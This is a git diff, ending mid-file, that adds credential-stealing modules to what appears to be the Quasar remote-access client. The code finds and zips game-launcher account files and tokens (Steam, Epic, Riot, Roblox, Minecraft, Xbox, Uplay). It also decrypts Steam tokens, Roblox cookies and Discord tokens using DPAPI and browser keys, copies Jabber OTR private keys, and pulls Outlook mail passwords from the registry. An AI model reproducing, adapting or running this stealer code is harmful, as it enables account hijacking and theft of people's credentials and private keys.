+ { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Electronic Arts", "EA Desktop", "CEF"); + if (!Directory.Exists(text)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Electronic Arts"; + int num = 0; + string path = Path.Combine(text, "BrowserCache", "EADesktop", "Local Storage", "leveldb"); + if (Directory.Exists(path)) + { + string[] files = Directory.GetFiles(path); + foreach (string text2 in files) + { + try + { + if (string.Equals(Path.GetExtension(text2), ".ldb", StringComparison.OrdinalIgnoreCase)) + { + string text3 = "Electronic Arts\\leveldb\\" + Path.GetFileName(text2); + zip.AddFile(text3, File.ReadAllBytes(text2)); + counterApplications.Files.Add(text2 + " => " + text3); + num++; + } + } + catch + { + } + } + } + string text4 = Path.Combine(text, "BrowserCache", "EADesktop", "Session Storage", "000003.log"); + if (File.Exists(text4)) + { + try + { + string text5 = "Electronic Arts\\Session Storage\\000003.log"; + zip.AddFile(text5, File.ReadAllBytes(text4)); + counterApplications.Files.Add(text4 + " => " + text5); + num++; + } + catch + { + } + } + if (num != 0) + { + counterApplications.Files.Add("Electronic Arts\\"); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Epic.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Epic.cs new file mode 100755 index 0000000..5c5013f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Epic.cs @@ -0,0 +1,27 @@ +using System; +using System.IO; +using System.Text; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class Epic : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "EpicGamesLauncher", "Saved", "Config", "Windows", "GameUserSettings.ini"); + if (File.Exists(text)) + { + string text2 = File.ReadAllText(text); + if (text2.Contains("[RememberMe]") || text2.Contains("[Offline]")) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Epic Games"; + string text3 = "Epic\\GameUserSettings.ini"; + zip.AddFile(text3, Encoding.UTF8.GetBytes(text2)); + counterApplications.Files.Add(text + " => " + text3); + counter.Games.Add(counterApplications); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Growtopia.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Growtopia.cs new file mode 100755 index 0000000..90c3eac --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Growtopia.cs @@ -0,0 +1,22 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class Growtopia : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Growtopia", "save.dat"); + if (File.Exists(text)) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Growtopia"; + string text2 = "Growtopia\\save.dat"; + zip.AddFile(text2, File.ReadAllBytes(text)); + counterApplications.Files.Add(text + " => " + text2); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Minecraft.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Minecraft.cs new file mode 100755 index 0000000..ae4a8f3 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Minecraft.cs @@ -0,0 +1,56 @@ +using System; +using System.Collections.Generic; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class Minecraft : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + string environmentVariable = Environment.GetEnvironmentVariable("USERPROFILE"); + Dictionary dictionary = new Dictionary(StringComparer.OrdinalIgnoreCase); + dictionary.Add("Intent", Path.Combine(environmentVariable, "intentlauncher", "launcherconfig")); + dictionary.Add("Lunar", Path.Combine(environmentVariable, ".lunarclient", "settings", "game", "accounts.json")); + dictionary.Add("TLauncher", Path.Combine(folderPath, ".minecraft", "TlauncherProfiles.json")); + dictionary.Add("Feather", Path.Combine(folderPath, ".feather", "accounts.json")); + dictionary.Add("Meteor", Path.Combine(folderPath, ".minecraft", "meteor-client", "accounts.nbt")); + dictionary.Add("Impact", Path.Combine(folderPath, ".minecraft", "Impact", "alts.json")); + dictionary.Add("Novoline", Path.Combine(folderPath, ".minecraft", "Novoline", "alts.novo")); + dictionary.Add("CheatBreakers", Path.Combine(folderPath, ".minecraft", "cheatbreaker_accounts.json")); + dictionary.Add("Microsoft Store", Path.Combine(folderPath, ".minecraft", "launcher_accounts_microsoft_store.json")); + dictionary.Add("Rise", Path.Combine(folderPath, ".minecraft", "Rise", "alts.txt")); + dictionary.Add("Rise (Intent)", Path.Combine(environmentVariable, "intentlauncher", "Rise", "alts.txt")); + dictionary.Add("Paladium", Path.Combine(folderPath, "paladium-group", "accounts.json")); + dictionary.Add("PolyMC", Path.Combine(folderPath, "PolyMC", "accounts.json")); + dictionary.Add("Badlion", Path.Combine(folderPath, "Badlion Client", "accounts.json")); + Counter.CounterApplications counterApplications = new Counter.CounterApplications + { + Name = "Minecraft" + }; + foreach (KeyValuePair item in dictionary) + { + if (File.Exists(item.Value)) + { + try + { + string path = Path.Combine("Minecraft", item.Key); + string fileName = Path.GetFileName(item.Value); + string text = Path.Combine(path, fileName); + zip.AddFile(text, File.ReadAllBytes(item.Value)); + counterApplications.Files.Add(item.Value + " => " + text); + } + catch + { + } + } + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("Minecraft\\"); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Riot.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Riot.cs new file mode 100755 index 0000000..0e3a029 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Riot.cs @@ -0,0 +1,22 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class Riot : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Riot Games", "Riot Client", "Data", "RiotGamesPrivateSettings.yaml"); + if (File.Exists(text)) + { + string text2 = Path.Combine("Riot", "RiotGamesPrivateSettings.yaml"); + zip.AddFile(text2, File.ReadAllBytes(text)); + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Riot"; + counterApplications.Files.Add(text + " => " + text2); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Roblox.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Roblox.cs new file mode 100755 index 0000000..35f68a1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Roblox.cs @@ -0,0 +1,71 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Games; + +public class Roblox : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Roblox", "LocalStorage", "RobloxCookies.dat"); + if (!File.Exists(text)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Roblox"; + Match match = Regex.Match(File.ReadAllText(text), "\"CookiesData\"\\s*:\\s*\"(.*?)\"", RegexOptions.Singleline); + if (!match.Success) + { + return; + } + byte[] array = DpApi.Decrypt(Convert.FromBase64String(match.Groups[1].Value)); + if (array == null) + { + return; + } + string text2 = "Roblox\\cookies.txt"; + zip.AddTextFile(text2, Encoding.UTF8.GetString(array).Replace("; ", "\n").Replace("#HttpOnly_.roblox.com", ".roblox.com")); + counterApplications.Files.Add(text + " => " + text2); + string text3 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Roblox", "LocalStorage", "appStorage.json"); + if (!File.Exists(text3)) + { + return; + } + List list = new List(); + string input = File.ReadAllText(text3); + string pattern = "\"(PlayerExeLaunchTime|BrowserTrackerId|UserId|Username|DisplayName|CountryCode)\"\\s*:\\s*\"([^\"]*)\""; + foreach (Match item in Regex.Matches(input, pattern)) + { + string value = item.Groups[1].Value; + string value2 = item.Groups[2].Value; + if (!string.IsNullOrEmpty(value2)) + { + list.Add(value + ": " + value2 + "\n"); + } + } + Match match2 = Regex.Match(input, "\"WebViewUserAgent\"\\s*:\\s*\"([^\"]*)\""); + if (match2.Success) + { + string text4 = "Roblox\\useragent.txt"; + zip.AddTextFile(text4, match2.Groups[1].Value); + counterApplications.Files.Add(text3 + " => " + text4); + } + if (list.Count > 0) + { + string text5 = "Roblox\\information.txt"; + zip.AddTextFile(text5, string.Concat(list)); + counterApplications.Files.Add(text3 + " => " + text5); + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("Roblox\\"); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Steam.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Steam.cs new file mode 100755 index 0000000..125b5f7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Steam.cs @@ -0,0 +1,169 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Games; + +public class Steam : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Valve\\Steam"); + if (registryKey == null || registryKey.GetValue("SteamPath") == null) + { + return; + } + string text = registryKey.GetValue("SteamPath").ToString(); + if (!Directory.Exists(text)) + { + return; + } + string path = "Steam"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Steam"; + try + { + RegistryKey registryKey2 = registryKey.OpenSubKey("Apps"); + if (registryKey2 != null) + { + List list = new List(); + string[] subKeyNames = registryKey2.GetSubKeyNames(); + foreach (string text2 in subKeyNames) + { + using RegistryKey registryKey3 = registryKey.OpenSubKey("Apps\\" + text2); + if (registryKey3 != null) + { + string text3 = (registryKey3.GetValue("Name") as string) ?? "Unknown"; + string text4 = (((int?)registryKey3.GetValue("Installed") == 1) ? "Yes" : "No"); + string text5 = (((int?)registryKey3.GetValue("Running") == 1) ? "Yes" : "No"); + string text6 = (((int?)registryKey3.GetValue("Updating") == 1) ? "Yes" : "No"); + list.Add("Application: " + text3 + "\n\tGameID: " + text2 + "\n\tInstalled: " + text4 + "\n\tRunning: " + text5 + "\n\tUpdating: " + text6); + } + } + if (list.Count > 0) + { + string text7 = Path.Combine(path, "Apps.txt"); + zip.AddTextFile(text7, string.Join("\n\n", list)); + counterApplications.Files.Add("Software\\Valve\\Steam\\Apps => " + text7); + } + } + } + catch + { + } + try + { + string[] subKeyNames = Directory.GetFiles(text); + foreach (string text8 in subKeyNames) + { + if (text8.Contains("ssfn")) + { + byte[] content = File.ReadAllBytes(text8); + string text9 = Path.Combine(path, "ssfn", Path.GetFileName(text8)); + zip.AddFile(text9, content); + counterApplications.Files.Add(text8 + " => " + text9); + } + } + } + catch + { + } + try + { + string path2 = Path.Combine(text, "config"); + if (Directory.Exists(path2)) + { + string[] subKeyNames = Directory.GetFiles(path2, "*.vdf"); + foreach (string text10 in subKeyNames) + { + string text11 = Path.Combine(path, "configs", Path.GetFileName(text10)); + zip.AddFile(text11, File.ReadAllBytes(text10)); + counterApplications.Files.Add(text10 + " => " + text11); + } + } + } + catch + { + } + try + { + string text12 = registryKey.GetValue("AutoLoginUser")?.ToString() ?? "Unknown"; + string text13 = (((int?)registryKey.GetValue("RememberPassword") == 1) ? "Yes" : "No"); + string text14 = "Autologin User: " + text12 + "\nRemember password: " + text13; + string text15 = Path.Combine(path, "SteamInfo.txt"); + zip.AddTextFile(text15, text14); + counterApplications.Files.Add("Software\\Valve\\Steam => " + text15); + } + catch + { + } + try + { + string[] source = new string[2] + { + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Steam", "local.vdf"), + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Steam", "local.vdf") + }; + string[] source2 = new string[2] + { + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Steam", "config", "loginusers.vdf"), + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Steam", "config", "loginusers.vdf") + }; + string text16 = source.FirstOrDefault(File.Exists); + string text17 = source2.FirstOrDefault(File.Exists); + if (text16 == null || text17 == null) + { + return; + } + string pattern = "\"AccountName\"\\s*\"([^\"]+)\""; + string pattern2 = "([a-fA-F0-9]{500,2000})"; + MatchCollection matchCollection = Regex.Matches(File.ReadAllText(text17), pattern); + MatchCollection matchCollection2 = Regex.Matches(File.ReadAllText(text16), pattern2); + if (matchCollection.Count == 0 || matchCollection2.Count == 0) + { + return; + } + List list2 = new List(); + foreach (Match item in matchCollection) + { + byte[] bytes = Encoding.UTF8.GetBytes(item.Groups[1].Value); + foreach (Match tokenMatch in matchCollection2) + { + byte[] encryptedData = (from x in Enumerable.Range(0, tokenMatch.Value.Length / 2) + select Convert.ToByte(tokenMatch.Value.Substring(x * 2, 2), 16)).ToArray(); + try + { + byte[] bytes2 = ProtectedData.Unprotect(encryptedData, bytes, DataProtectionScope.LocalMachine); + list2.Add(Encoding.UTF8.GetString(bytes2)); + } + catch + { + continue; + } + break; + } + } + if (list2.Count > 0) + { + string text18 = Path.Combine(path, "Token.txt"); + zip.AddTextFile(text18, string.Join("\n", list2)); + counterApplications.Files.Add(text16 + " => " + text18); + counterApplications.Files.Add(text17 + " => " + text18); + } + } + catch + { + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("Steam\\"); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Uplay.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Uplay.cs new file mode 100755 index 0000000..edf21c4 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Uplay.cs @@ -0,0 +1,22 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class Uplay : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Ubisoft Game Launcher"); + if (Directory.Exists(text)) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Uplay"; + zip.AddDirectoryFiles(text, "Uplay"); + counterApplications.Files.Add(text + " => \\Uplay"); + counterApplications.Files.Add("Uplay\\"); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/XBox.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/XBox.cs new file mode 100755 index 0000000..6ff43d9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/XBox.cs @@ -0,0 +1,53 @@ +using System; +using System.IO; +using System.Linq; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class XBox : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Packages"); + if (!Directory.Exists(path)) + { + return; + } + string[] directories = Directory.GetDirectories(path, "Microsoft.Xbox*", SearchOption.TopDirectoryOnly); + if (directories == null || directories.Length == 0) + { + return; + } + string[] source = new string[9] { ".ini", ".cfg", ".json", ".xml", ".log", ".dat", ".db", ".yaml", ".txt" }; + string[] array = directories; + foreach (string text in array) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Xbox"; + string[] files = Directory.GetFiles(text, "*.*", SearchOption.AllDirectories); + foreach (string text2 in files) + { + try + { + FileInfo fileInfo = new FileInfo(text2); + if (fileInfo.Length < 10000000 && source.Contains(fileInfo.Extension.ToLower())) + { + string path2 = text2.Substring(text.Length).TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar); + string text3 = Path.Combine("Xbox", Path.GetFileName(text), path2).Replace('\\', '/'); + zip.AddFile(text3, File.ReadAllBytes(fileInfo.FullName)); + counterApplications.Files.Add(fileInfo.FullName + " => " + text3); + } + } + catch + { + } + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("Xbox\\"); + counter.Games.Add(counterApplications); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Discord.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Discord.cs new file mode 100755 index 0000000..fda7c9a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Discord.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Messangers; + +public class Discord : ITarget +{ + private static readonly Regex _tokenRegex = new Regex("(mfa\\.[\\w-]{80,})|((MT|OD)[\\w-]{22,24}\\.[\\w-]{6}\\.[\\w-]{25,110})", RegexOptions.IgnoreCase | RegexOptions.Compiled); + + private static readonly Regex _encryptedRegex = new Regex("\"dQw4w9WgXcQ:([^\"]+)\"", RegexOptions.IgnoreCase | RegexOptions.Compiled); + + public void Collect(InMemoryZip zip, Counter counter) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Discord"; + counterApplications.Files.Add("Discord\\"); + Task task = Task.Run(delegate + { + Parallel.ForEach(Paths.Discord, delegate(string path) + { + string text = path + "\\Local Storage\\leveldb"; + if (Directory.Exists(text)) + { + string localstate = path + "\\Local State"; + List list = TokensGrabber(text, localstate); + if (list.Any()) + { + string browserName = Paths.GetBrowserName(path); + string text2 = "Discord\\" + browserName + ".txt"; + counterApplications.Files.Add(path + " => " + text2); + zip.AddTextFile(text2, string.Join("\n", list)); + } + } + }); + }); + Task task2 = Task.Run(delegate + { + Parallel.ForEach(Paths.Chromium, delegate(string path) + { + if (Directory.Exists(path)) + { + Parallel.ForEach(Directory.GetDirectories(path), delegate(string profile) + { + string text = profile + "\\Local Storage\\leveldb"; + if (Directory.Exists(text)) + { + string localstate = path + "\\Local State"; + List list = TokensGrabber(text, localstate); + if (list.Any()) + { + string browserName = Paths.GetBrowserName(path); + string text2 = "Discord\\" + browserName + " " + Path.GetFileName(profile) + ".txt"; + counterApplications.Files.Add(path + " => " + text2); + zip.AddTextFile(text2, string.Join("\n", list)); + } + } + }); + } + }); + }); + Task.WaitAll(task, task2); + if (counterApplications.Files.Count() > 0) + { + counter.Messangers.Add(counterApplications); + } + } + + private List TokensGrabber(string localstorage, string localstate) + { + List source = SearchFiles(localstorage); + ConcurrentBag tokens = new ConcurrentBag(); + ConcurrentBag tokensEncrypted = new ConcurrentBag(); + Parallel.ForEach(source, delegate(string localdb) + { + try + { + string content = File.ReadAllText(localdb); + Parallel.ForEach(SearchToken(content), delegate(string token) + { + tokens.Add(token); + }); + Parallel.ForEach(SearchEncryptedTokens(content), delegate(string token) + { + tokensEncrypted.Add(token); + }); + } + catch + { + } + }); + ConcurrentBag distinctTokens = new ConcurrentBag(tokens.Distinct()); + if (!tokensEncrypted.Any()) + { + return distinctTokens.Distinct().ToList(); + } + byte[] key = LocalState.MasterKeyV10(localstate); + if (key == null) + { + return distinctTokens.Distinct().ToList(); + } + Parallel.ForEach(tokensEncrypted.Distinct(), delegate(string encrypted) + { + try + { + byte[] array = AesGcm.DecryptBrowser(Convert.FromBase64String(encrypted), key, null, checkprefix: false); + if (array != null) + { + distinctTokens.Add(Encoding.UTF8.GetString(array).Trim()); + } + } + catch + { + } + }); + return distinctTokens.Distinct().ToList(); + } + + private List SearchFiles(string path) + { + ConcurrentBag locals = new ConcurrentBag(); + string[] allowedExtensions = new string[3] { ".log", ".ldb", ".sqlite" }; + Parallel.ForEach(Directory.GetFiles(path), delegate(string file) + { + if (allowedExtensions.Contains(Path.GetExtension(file))) + { + locals.Add(file); + } + }); + return locals.ToList(); + } + + private List ExtractMatches(string content, Regex regex) + { + HashSet hashSet = new HashSet(StringComparer.OrdinalIgnoreCase); + foreach (Match item in regex.Matches(content)) + { + string value = item.Groups[1].Value; + if (!string.IsNullOrWhiteSpace(value)) + { + hashSet.Add(value); + } + } + return hashSet.ToList(); + } + + private List SearchToken(string content) + { + return ExtractMatches(content, _tokenRegex); + } + + private List SearchEncryptedTokens(string content) + { + return ExtractMatches(content, _encryptedRegex); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Element.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Element.cs new file mode 100755 index 0000000..0d90d85 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Element.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Element : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Element\\Local Storage\\leveldb"); + if (Directory.Exists(text)) + { + string text2 = "Element\\leveldb"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Element"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Icq.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Icq.cs new file mode 100755 index 0000000..aeb5b6c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Icq.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Icq : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "ICQ", "0001"); + if (Directory.Exists(text)) + { + string text2 = "ICQ\\0001"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "ICQ"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Jabber.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Jabber.cs new file mode 100755 index 0000000..4acbc0d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Jabber.cs @@ -0,0 +1,43 @@ +using System; +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Jabber : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + string[] source = new string[3] + { + folderPath + "\\.purple\\", + folderPath + "\\Psi\\profiles\\default\\", + folderPath + "\\Psi+\\profiles\\default\\" + }; + string[] files2 = new string[4] { "accounts.xml", "otr.fingerprints", "otr.keys", "otr.private_key" }; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Jabber"; + Parallel.ForEach(source, delegate(string dir) + { + if (Directory.Exists(dir)) + { + Parallel.ForEach(files2, delegate(string file2) + { + if (File.Exists(dir + file2)) + { + string text = "Jabber\\" + file2; + zip.AddFile(text, File.ReadAllBytes(dir + file2)); + counterApplications.Files.Add(dir + file2 + " => " + text); + } + }); + } + }); + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("Jabber\\"); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/MicroSIP.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/MicroSIP.cs new file mode 100755 index 0000000..bebfebb --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/MicroSIP.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class MicroSIP : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MicroSIP"); + if (Directory.Exists(text)) + { + string text2 = "MicroSIP\\"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "MicroSIP"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Outlook.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Outlook.cs new file mode 100755 index 0000000..e97efd0 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Outlook.cs @@ -0,0 +1,152 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; +using Microsoft.Win32; + +namespace Intelix.Targets.Messangers; + +public class Outlook : ITarget +{ + private static readonly Regex MailAddressRx = new Regex("^([a-zA-Z0-9_\\-\\.]+)@([a-zA-Z0-9_\\-\\.]+)\\.([a-zA-Z]{2,5})$", RegexOptions.Compiled); + + private static readonly Regex HostnameRx = new Regex("^(?!:\\/\\/)([a-zA-Z0-9-_]+\\.)*[a-zA-Z0-9][a-zA-Z0-9-_]+\\.[a-zA-Z]{2,11}?$", RegexOptions.Compiled); + + private static readonly string[] RegistryRoots = new string[4] { "Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", "Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", "Software\\Microsoft\\Windows Messaging Subsystem\\Profiles\\9375CFF0413111d3B88A00104B2A6676" }; + + private static readonly string[] KeysToCheck = new string[28] + { + "SMTP Email Address", "SMTP Server", "POP3 Server", "POP3 User Name", "SMTP User Name", "NNTP Email Address", "NNTP User Name", "NNTP Server", "IMAP Server", "IMAP User Name", + "Email", "HTTP User", "HTTP Server URL", "POP3 User", "IMAP User", "HTTPMail User Name", "HTTPMail Server", "SMTP User", "POP3 Password2", "IMAP Password2", + "NNTP Password2", "HTTPMail Password2", "SMTP Password2", "POP3 Password", "IMAP Password", "NNTP Password", "HTTPMail Password", "SMTP Password" + }; + + public void Collect(InMemoryZip zip, Counter counter) + { + StringBuilder stringBuilder = new StringBuilder(); + string[] registryRoots = RegistryRoots; + foreach (string rootPath in registryRoots) + { + stringBuilder.Append(ReadRegistryTree(rootPath)); + } + if (stringBuilder.Length != 0) + { + string text = Path.Combine("Outlook", "Outlook.txt"); + zip.AddTextFile(text, stringBuilder.ToString()); + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Outlook"; + registryRoots = RegistryRoots; + foreach (string text2 in registryRoots) + { + counterApplications.Files.Add(text2 + " => " + text); + } + counterApplications.Files.Add(text); + counter.Applications.Add(counterApplications); + } + } + + private string ReadRegistryTree(string rootPath) + { + StringBuilder stringBuilder = new StringBuilder(); + Stack stack = new Stack(); + stack.Push(rootPath); + while (stack.Count > 0) + { + string text = stack.Pop(); + using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text, writable: false); + if (registryKey == null) + { + continue; + } + string[] keysToCheck = KeysToCheck; + foreach (string text2 in keysToCheck) + { + object value = registryKey.GetValue(text2); + if (value != null) + { + string value2 = FormatValue(text2, value); + if (!string.IsNullOrEmpty(value2)) + { + stringBuilder.AppendLine(value2); + } + } + } + keysToCheck = registryKey.GetSubKeyNames(); + foreach (string path in keysToCheck) + { + try + { + stack.Push(Path.Combine(text, path)); + } + catch + { + } + } + } + if (stringBuilder.Length > 0) + { + stringBuilder.AppendLine(); + } + return stringBuilder.ToString(); + } + + private string FormatValue(string valueName, object raw) + { + if (raw is byte[] array) + { + string text = DecryptValue(array); + if (!string.IsNullOrEmpty(text)) + { + return valueName + ": " + text; + } + try + { + string text2 = Encoding.UTF8.GetString(array).Replace("\0", ""); + if (!string.IsNullOrWhiteSpace(text2)) + { + return 